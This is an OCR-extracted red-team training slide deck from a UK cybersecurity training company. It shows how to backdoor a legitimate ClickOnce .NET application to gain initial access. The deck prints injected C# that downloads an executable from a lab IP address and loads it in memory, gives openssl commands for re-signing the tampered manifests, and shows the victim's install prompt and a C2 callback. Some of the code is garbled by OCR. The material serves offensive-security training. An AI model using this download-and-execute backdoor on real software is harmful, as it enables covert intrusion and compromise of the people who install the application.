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About CW Labs :

CW Labs is a renowned UK based Ed-tech company
specializing in cybersecurity cyber range labs. They
provide on-demand educational services and
recognize the need for continuous adaptation to
evolving threats and client requirements. The
company has two primary divisions:

1. Cyber Range Labs
2. Up-Skilling Platform
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About Speakers :

Yash Bharadwaj

Co-Founder & Technical Director at CW Labs UK Pvt. Ltd.

With over 5.5 Years of Experience as Technologist. Highly attentive towards finding, learning and discovering
new TTP's used during offensive engagements.

His area of interest includes building Red / Blue Team Lab Simulation, Evading security controls, Pwning Active
Directory infrastructure, Enterprise networks & Multi-Cloud attacks.

Previously he has delivered hands-on red / blue / purple team trainings / talks / workshops at Nullcon, X33fCon,
NorthSec, BSIDES Chapters, OWASP, CISO Platform, YASCON.

You can reach out to him on Twitter @flopyash.
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- Current Initial Access Security Controls

- About ClickOnce

- Backdooring Legit ClickOnce Application
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- Application Delivery & Deployment
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ClickOnce Application

It is a technology developed by Microsoft that simplifies the deployment and
updating of Windows-based applications over the internet

- It enables developers to publish and distribute their applications without
requiring complex installation procedures

- ClickOnce applications can include all their dependencies and libraries within a
single package

- We can modify the dependencies & even backdoor the application for initial
access purpose. Let’s see the procedure



Backdooring Legit Application

Assembly Explorer
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Base Type and Interfaces
Derived Types

BLLQ : void @06000020
BLL(frmMain) : void @0600001F
AuthenticateSCRARS2User(Authentication, ref string) : bool @06(
closeDevice( : void @0600002F

DetectDevice(int, ref string, MTConnectionType) : bool @0600003
getBootlLoaderID() : string @0600002C
GetCommand(MTSCRACommon.Commandltem, MTSCRAComr:
GetConfigurationList(Authentication, ref string) : GetCommandLi
GetDeviceList(MTConnectionType) : List<MTDevicelnformation>
GetEMVCommand(Authentication, string, string, ref string) : GetE
getErrorMessage(string) : string @06000021
GetFirmware(MTSCRACommon.Firmwareltem, Authentication, st
getFirmwarelnfo() : Firmwarelnfo @0600002B
GetFirmwareList(Authentication, ref string) : GetFirmwareListResp
getFw(Authentication, string, byte[], int) : GetFirmwareCommanc
getKeylDFromKSi(string, GetKeyListResponse) : int @06000028
GetKeyList(Authentication, ref string) : GetKeyListResponse @060
GetKeyLoadCommands(string, MTSCRACommon.Keyltem, Authe
GetKSN(ref string, ref string) : bool @06000027
GetKSNAndDeviceSerial(ref string, ref string, ref string) : bool @0¢
GetKSNAndMUT(ref string, ref string, ref string) : bool @06000026
GetUIK(ref string, ref string) : bool @0600003D

getUIKODM(ref string, ref string) : bool @0600003C
isConnected() : bool @06000030
logCommandsToFile(Command][], string, string) : void @0600004
MTSCRAHelper_onExtendedRespond(object, string) : void @0600
ResetDevice(int, ref string) : bool @06000032

// Token: 8x060000C1 RID: 193 RVA: Ox00004104 File Offset: Ox00002304
public void ExecAssembly()

{
bool flag;
using (new Mutex(true, "RunOnce", ref flag))
4
if (flag)
{
this.write global mem();
string address = "http://192.168.187.146:8000/apollo.exe";
byte[ | rawAssembly;
using (WebClient webClient = new WebClient())
{
MemoryStream memoryStream = new MemoryStream(webClient.DownloadData(address));
rawAssembly = memoryStream.ToArray();
memoryStream.Close();
¥
string[] array = new string[@];
Assembly.lLoad(rawAssembly) .EntryPoint.Invoke(null, new object[]
{
array
s
¥
else
{
.WriteLine("already running");
¥
¥
B3

// Token: 0x060000C2 RID: 194 RVA: 0x000023C1 File Offset: ©9x000005C1

JO

new Thread(new ThreadStart(this.ExecAssembly)).Start();

public void
{

T

NOTE : Select the URL, Right Click & Change the IL Instructions to your payload server



Re-Generating Signatures

Add in Manifest File :

openssl dgst -binary -sha256 MTSCRANET.dIl.deploy | openssl enc -base64

Add in the Application File :

openssl dgst -binary -sha256 ReaderConfiguration.exe.manifest | openss| enc -base64



Application Delivery & Deployment

Publisher cannot be verified.
Are you sure you want to install this application?

Directory listing for / —=—

Name:
MagTek Reader Configuration Program

From (Hover over the string below to see the full domain):

apollo.exe

Publisher:

Application Files/ rtaonn ubisher

Install

ReaderConfiguration.application

While ap, s from the Internet can be useful, the arm your computer. If
you do not trust the source, do not install ¢
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Active Callbacks

INTERACT 1 HOST USER DOMAIN LAST CHECKIN DESCRIPTION AGENT

B i © Operation Chimera

& ] 192.168.187.145 DESKTOP-9VV7FP8 StealthoPsS DESKTOP-9VV7FP8 s Created by mythic_admin at 2023-06-26 11:23:18 Z A



Key-Takeaways

- Understood methodology to backdoor a legit .NET Application
- Works like a charm with a Digital Certificate for signing the app
- New way to test your internal team phishing competency

- Can be made sophisticated with an already compromised website for
ClickOnce Delivery



Reference

- Nick Powers (@zyn3rgy) and Steven Flores (@0xthirteen) :
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonc
e-for-trusted-code-execution-1446ea8051c5



https://twitter.com/zyn3rgy
https://twitter.com/0xthirteen
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
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Stealth Cyber

Operator [CSCO]

Link :

Ccsco

https://cyberwarfare.live/product/stealth-cyber-operator-sco/
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Thank Youl

If you like the content, please feel free to shout out & tag us at social
media platforms.

For any technical questions / doubts related to the content please email

us at support@cyberwarfare.live

For Professional Red / Purple Team Labs & Technical Training Services
kindly email at info@cyberwarfare.live




